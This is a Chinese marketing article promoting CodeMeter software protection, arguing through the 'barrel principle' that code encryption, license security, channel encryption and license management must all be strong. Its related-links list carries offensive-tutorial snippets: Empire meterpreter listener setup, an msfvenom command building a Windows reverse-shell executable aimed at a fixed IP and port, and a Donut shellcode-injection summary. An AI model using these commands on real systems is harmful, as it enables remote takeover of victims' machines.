CodeMeter:軟體加密的「木桶定律」

2021-01-08 TechWeb

一個水桶無論有多高,它盛水的高度取決於其中最低的那塊木板。又稱水桶原理或短板理論,水桶短板管理理論,所謂「水桶理論」也即「水桶定律」,其核心內容為:一隻水桶盛水的多少,並不取決於桶壁上最高的那塊木塊,而恰恰取決於桶壁上最短的那塊。根據這一核心內容,「水桶理論」還有兩個推論:其一,只有桶壁上的所有木板都足夠高,那水桶才能盛滿水。其二,只要這個水桶裡有一塊不夠高度,水桶裡的水就不可能是滿的。那麼軟體加密又是由哪些板塊組成的呢?

軟體加密的第一塊板---代碼加密

軟體代碼包含軟體的智慧財產權及核心技術。.Net是構架於作業系統之上的平臺,由於其解釋型的開發語言上手簡單、效率高,成為軟體開發商及程式設計師的重要開發工具。採用Reflector或ildasm可以輕而易舉的對.net程序進行反編譯,並且反編譯得到代碼也極具權威。Reflector及ildasm工具的使用無需高深的破解技術,也無需掌握深奧的彙編語言,普通程式設計師即可輕鬆掌握。而一般的破解高手則可以通過反彙編、代碼調試、逆向工程等方式破解Native程序代碼。

一旦軟體代碼被反編譯、逆向工程,則意味著軟體開發者數年的心血付諸東流。盜版者可以隨心所欲的以低價傾銷盜版軟體,讓真正的軟體開發者不再具備競爭力。或者軟體開發者的競爭對手通過破解原始碼,以非常低的成本盜取軟體開發者的獲取核心技術,從而獲得商業先機。因此代碼保護是軟體加密安全木桶中級為重要的一板。

來自德國威步信息系統的CodeMeter提供AxProtector、IxProtector、CoreAPI等加密工具,保護軟體核心代碼安全。

AxProtector外殼加密技術採用了按需解密的先進技術,不僅改變了OEP指向,並把代碼層的部份代碼進行了加密,把IAT地址重新指向,破解者如果試圖在OEP斷點處進行內存DUMP時,程序將會崩潰;同時威步的AXAN技術可以在代碼執行過程中在內存中解密該代碼,執行完畢馬上加密,這是目前安全標準中世界領先的技術。

IxProtector可以與AxProtector完美結合,部分代碼或函數在內存中按需解密、即時加密,能真正防止代碼在內存段中被Dump。AxProtector及IxProtector支持Native 程序、.net程序集或Java程序集,提供真正意義的軟體代碼加密,防止軟體代碼被反編譯、被逆向工程。

保護好了軟體代碼並不意味著軟體版權就安全了。由於軟體代碼反編譯及逆向工程需要有大量的破解技術及經驗,要求精通彙編語言,真正意義破解原始碼的成本高之又高,破解花費的時間也會非常長。因此無論是破解者本身或者是購買破解版別有用心的「軟體商」都不願意花費大價錢或者花費可能一年的時間去破解代碼本身。破解授權或者複製硬體狗就成為相對成本低的破解方式。因此授權的安全性成為軟體加密安全木桶的另外一板。

軟體加密的第二塊板----授權安全

相對而言,如果只是採用註冊機的方式進行軟體授權,對破解者來說就是小菜一碟。破解者隨意破解一下註冊機即可輕而易舉的獲得註冊碼,從而獲得盜版授權。普通單片機或非安全智慧卡的硬體複製成本從原來的上萬元到現在的3、500元。採用普通加密狗存放授權則成為軟體加密的短板。

CodeMeter以32位安全智慧卡晶片為硬體基礎,以其獨有的硬體安全特性和創新的設計思路,充分保證了加密鎖的安全。由於CodeMeter硬體本身幾乎能夠抵制所有的知名的硬體攻擊如DPA等技術,以及CodeMeter本身的硬體隨機發生器能夠產生隨機安全密鑰,因此保證了存儲CodeMeter硬體中的密鑰絕對安全。

很多軟體商認為只要用最安全的硬體狗(鎖)就可以萬無一失了,或者有些軟體加密工程師超強的外殼工具,但是最終的結果都是軟體很快被破解。花費了時間、花費了精力、花費了金錢,最終的結果可能是不堪一擊!這是因為軟體代碼安全保護完全可以運用到木桶定律。一套真正安全的軟體保護方案是不應該出現任何短板的,否則花再長時間做的方案都將功虧一簣。那麼還有哪塊板可以幫助我們解決問題呢?

軟體加密的第三塊板——通訊通道

國內外技術領先的硬體加密鎖(狗)廠商摒棄了原有的單片機作為加密晶片,取而代之的是各類專用ASIC晶片、安全智慧卡晶片,使得硬體克隆成本一再提高,從而保證了加密硬體的安全。破解者則會通過大量的經驗尋找軟體加密的另一板塊:通訊通道。目前加密鎖(加密狗)的解密破解工作主要集中在應用程式與加密動態庫之間的通訊攔截,這種方法成本較低。由於加密鎖(加密狗)的應用程式接口(API)基本上都是公開的,因此從網上可以很容易下載到加密狗的編程接口API、用戶手冊和其它相關資料,還可以了解加密狗技術的最新進展。很多硬體狗的Dll或驅動已被破解者熟知,網上各類加密模擬器層出不窮。有了這些破解高手「嘔心力作「的模擬器,即使剛畢業的菜鳥工程師也可成為」汪洋大盜「。你會發現,原來不起眼的通訊通道及有可能成為軟體加密環節中的「短板」。

CodeMeter支持128位AES對稱算,224位ECC和2048位RSA非對稱算法對。軟體與CodeMeter加密鎖之間的通訊採用了AES算法、TDES算法,從而避免了通訊數據被偵聽,使得二者之前的通訊不可能被模擬;CodeMeter加密鎖與CM.exe之間運用了ECC、RSA公私鑰認證技術,從而真正達到加密鎖不能被替換的目的;WibuCM.dll被AxProtector靜態打包到軟體當中,破解者無從分析Dll庫,從而達到了非常高的加密效果;另外CodeMeter提供WUPIEngine.lib(靜態庫),可以完全封裝到應用程式中,可以更好的提高加密強度。

軟體加密的第四塊板——授權管理安全

通常軟體加密及軟體授權為兩個獨立的環節。燒寫授權俗稱「燒狗」,傳統的加密狗都會打上開發商編碼,成為某些軟體獨有定製的硬體,由於部分加密狗的代理商唯利是圖,監守自盜,從源頭對軟體進行盜版。另外,部分授權以文件形式存在,通過工具導入到硬體鎖硬體之中,由於管理不善,該文件會流失出去,代價而沽。隨便買一隻相同型號的硬體狗即可導入該授權文件,即得到所謂的「正版狗」。可見,授權管理,即燒狗環節一不小心也會成為軟體加密的「短板」,而且危害之大比代碼破解、模擬工具要大得多。

CodeMeter採用母鎖授權的管理方式,只有擁有母鎖才能夠加密、寫授權或者修改授權。一旦母鎖失竊或者內部流失,可以要求複製相同公司碼的母鎖,只需要改變一些參數,即可對軟體重新加密,而流失的母鎖不能再寫授權,從而從源頭保證授權的安全。

有了威步的代碼加密、授權安全、通訊通道安全及授權管理安全這四塊「板」,相信木桶可以放心的盛水,軟體可以放心地應用於各個領域,軟體企業不再擔心智慧財產權的安全問題。威步作為全球技術領先的加密方案提供商,將不斷提供創新技術,為企業帶來更可靠的服務!

相關焦點

  • Windows7系統codemeter.exe是什麼文件?能卸載嗎?
    近期,有Windows7系統用戶反映,在C盤中有一個codemeter.exe程序佔用的空間非常大,想要將其卸載掉,但又不知它是什麼文件,能不能卸載,為此用戶十分苦惱。那麼,codemeter.exe到底是什麼文件?又是否能卸載呢?下面,我們就一起往下看看吧!
  • Windows7系統codemeter.exe是什麼文件?能卸載嗎?
    近期,有Windows7系統用戶反映,在C盤中有一個codemeter.exe程序佔用的空間非常大,想要將其卸載掉,但又不知它是什麼文件,能不能卸載,為此用戶十分苦惱。那麼,codemeter.exe到底是什麼文件?又是否能卸載呢?下面,我們就一起往下看看吧!
  • CodeMeter 快閃記憶體加密狗,彰顯威步軟體加密獨特優勢
    CmStick/M快閃記憶體加密狗帶有USB接口及內置快閃記憶體,最早發布於2004年。自發布以來,CodeMeter全線產品包括 CodeMeter快閃記憶體加密狗的加密功能獲得了巨大的擴展,軟體把數據及程序存放於CodeMeter加密狗中目前只是一個簡單的選擇,同樣存儲設備卡槽也可用於改裝現有的嵌入式或控制系統。
  • 軟體加密鎖CodeMeter的5種加密方式,如何選擇最適合的加密方案
    軟體智慧財產權保護越來越受到企業的重視,給軟體加密、保護核心技術不被竊取或被非法使用,成為軟體商必須選擇的戰略。軟體商在選擇加密方案時會遇到各種困擾:什麼樣的方案是安全的?什麼樣的方案性價比最高?如何選擇最適合自己企業的加密方案?
  • CodeMeter加密狗是如何勝任軟體加密的?10大理由為您解答
    CodeMeter自2004年進入市場,越來越多的軟、硬體廠商選擇其保護軟體版權或控制管理授權。市面上的加密鎖,價格少輒幾元,多輒千元;有單片機硬體,也有各類智慧卡硬體;有種子碼加密方案,也有代碼移植的理念;有虛擬機加密方法,也有外殼加密工具。
  • CodeMeter實現軟體雲中授權
    據悉,在剛剛結束的2014CodeMter全球軟體加密技術研討會(武漢站)中,威步CEO Oliver Winzenried先生與來自地理信息、設計類軟體、製造業工廠、企業管理軟體等行業的軟體工程師面對面的交流,就軟體加密及軟體授權方面進行了熱烈討論。
  • 持久耐用 CodeMeter第三代加密鎖
    自2003年問世以來,CodeMeter硬體加密鎖一直致力於為軟體提供保護和授權服務。 CodeMeter的優勢之一是:您無需做任何代碼開發即輕鬆地把它整合到您的軟體之中。時至今日,2003年用CodeMeter加密過的程序,使用2015年購買的CodeMeter硬體加密鎖,亦可輕鬆使用所有功能。
  • 網絡加密狗CodeMeter功能設置與應用詳解
    網絡加密狗的應用網絡加密狗與本地加密狗硬體的區別在於其應用方式,一種是通過網絡設定,一種是本地設備上進行綁定。本地加密狗簡單來說,也就是加密狗插在哪臺機器上,加密的程序就只能在該臺機器上運行。首先,在加密步驟這裡,在Subsystem選擇Network,這樣加密後的軟體才會進行網絡查找。Licenseoptions裡建議選擇Stationshare模式,即把每臺訪問電腦只算作為一個網絡並發點數。
  • Meterpreterpowershell爬坑指南
    No listeners currently active(Empire:listeners) > uselistener meterpreter(Empire:listeners/meterpreter) > set Host 192.168.1.3(Empire:listeners/meterpreter) > execute
  • Matlab的加密程式語言——P Code
    當 MATLAB 將某文件轉換為 P 代碼文件時,該文件將進行模糊處理而非加密。雖然 .p 文件中的內容難以理解,但不應將其視為安全的。建議不要使用 P 代碼文件以便保護您的智慧財產權。(ps:MATLAB 不支持將實時腳本或實時函數轉換為 P 代碼文件)編譯為二進位格式 – 使用 MATLAB Compiler 編譯您的原始碼文件以生成獨立應用程式。將後者分發給應用程式的最終用戶。
  • 白帽黑客為什麼喜歡用Meterpreter?
    通過MsfVenom生成被控端msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.152.159 lport=5555 -f exe -o /root/
  • Metasploit中Meterpreter指令備忘錄
    第1步核心命令在最基本的用途中,meterpreter是受害者計算機上的Linux終端。因此,即使在Windows或其他作業系統上,我們的許多基本Linux命令也可用於儀表預編程器。以下是我們可以在meterpreter上使用的一些核心命令。?
  • CodeMeter SmartBind 輕鬆實現軟體授權
    當一個許可證與計算機綁定,CodeMeter SmartBind®會創建一個包含計算機所有特徵信息的列表,作為計算機硬體指紋,也稱加密密鑰。這個列表類似護照上的照片,存儲於計算機上。這意味著許可證隨時攜帶著它自己的護照照片。  「護照照片」用於識別許可,現有特徵都與「護照照片」所包含的信息相匹配。
  • CodeMeter黑客大賽戰況:百人參賽,無人摘金!
    此次活動中的被加密的軟體,據了解,主辦方完全採用CodeMeter的核心技術對Demo軟體進行加密,包括代碼加密、加密狗鎖死、防止Debugger工具、隨機數通訊加解密、安全的智慧卡加密等安全技術。軟體開發者完全可以依靠自己使用CodeMeter的技術工具加密自己的軟體,達到和大賽中基本相同的安全效果。
  • 新木桶原理給內網安全管理的啟示
    木桶理論的最初含義是指:—桶裝水的多少,取決於最短的一塊板子。新木桶原理是指一隻木桶能夠裝多少水正常情況下(指木桶的大小是一定的,也不斜放等)取決於三方面的因素:第一、是每一塊木板的長度,最短的木板決定盛水量。第二、是木板與木板之間的結合是否緊密。第三、是有一個很好的桶底。
  • CodeMeter解決方案!自動化領域安全保護
    作為全球領先的軟體加密解決方案提供商,威步基於在信息安全領域積累的豐富經驗,從嵌入式系統完整性保護的角度入手,為工業信息化領域打造固若金湯的安全防護。  如果我們從工業終端設備到工業控制系統架構的各個層面進行仔細分析,工控自動化領域特有的安全問題將帶來以下風險:終端設備中原始碼被複製或盜用,使工控設備企業多年的成果付諸東流;嵌入式軟體被盜用或複製,導致終端設備被冒用;由於身份被冒用,在系統不知情的情況下,信息被讀取;系統中數據被入侵或篡改,偽造複製設備數據,冒名輸入到系統中,帶來數據災難。
  • 工具:C 程序轉換ShellCode利器
    Donut的利用思路:1.將.NET程序集轉換為shellcode,例如配合SILENTTRINITY使用2.作為模塊集成到其他工具中3.擴展功能:支持類似meterpreter的migrate功能。可通過Donut將其轉換成shellcode,用作測試Donut生成shellcode的功能是否有效。2)DonutTestc#程序,編譯後生成文件DonutTest.exe,用於向指定pid的進程注入shellcode。
  • 選加密狗的六大誤區,為了軟體安全存起來!
    糾正:加密是一個木桶效應,安全取的是低點,破解往往只從薄弱點入手。如果採用僅能防止硬體複製的件加密狗,一是無法保證通訊通道安全,破解者輕鬆通過模擬工具攻破加密狗與軟體的通訊通道;二是無法保證代碼安全,破解者通過調試工具調試代碼,採用內存補丁輕鬆摘除加密點,達到破解目的。
  • MeterSphere學習筆記
    項目介紹MeterSphere 是一站式的開源企業級持續測試平臺,涵蓋測試跟蹤、接口測試、性能測試、團隊協作等功能,兼容JMeter 等開源標準,有效助力開發和測試團隊充分利用雲彈性進行高度可擴展的自動化測試,加速高質量軟體的交付。
  • 「新木桶理論」之「長板原理」,揚長避短成就精彩人生
    30年前,著名的「木桶原理」是這樣的:盛水的木桶是由多塊木板箍成的,盛水量多少是由這些木板共同決定的。若其中一塊木板很短,則此木桶的盛水量就被限制,該短板就成了這個木桶盛水量的"限制因素"(或稱"短板效應")。因此,若要使此木桶盛水量增加,只有換掉短板或將其加長才行。